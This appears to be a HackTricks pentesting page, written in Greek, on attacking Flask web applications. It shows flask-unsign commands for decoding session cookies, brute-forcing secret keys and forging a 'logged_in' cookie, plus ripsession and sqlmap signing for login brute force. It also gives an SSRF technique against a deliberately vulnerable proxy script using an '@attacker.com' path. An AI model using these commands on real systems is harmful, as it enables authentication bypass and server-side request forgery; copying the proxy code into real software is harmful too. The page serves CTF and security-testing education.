Flask

Υποστήριξη HackTricks

Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας που υποστηρίζονται από τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Πιθανώς αν συμμετέχετε σε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.

Cookies

Το προεπιλεγμένο όνομα συνεδρίας cookie είναι session.

Decoder

Online αποκωδικοποιητής cookies Flask: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Πάρτε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το σε Base64.

echo "ImhlbGxvIg" | base64 -d

Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης

Flask-Unsign

Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία cookies συνεδρίας μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Υπογραφή

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval για να υπογράψει αυτόματα τα payloads του sqlmap για το flask χρησιμοποιώντας ένα γνωστό μυστικό.

Flask Proxy to SSRF

Σε αυτή την αναφορά εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Ποιο από τα παρακάτω σενάρια:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Θα μπορούσε να επιτρέψει την εισαγωγή κάτι σαν "@attacker.com" προκειμένου να προκαλέσει ένα SSRF.

Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Υποστηρίξτε το HackTricks

Last updated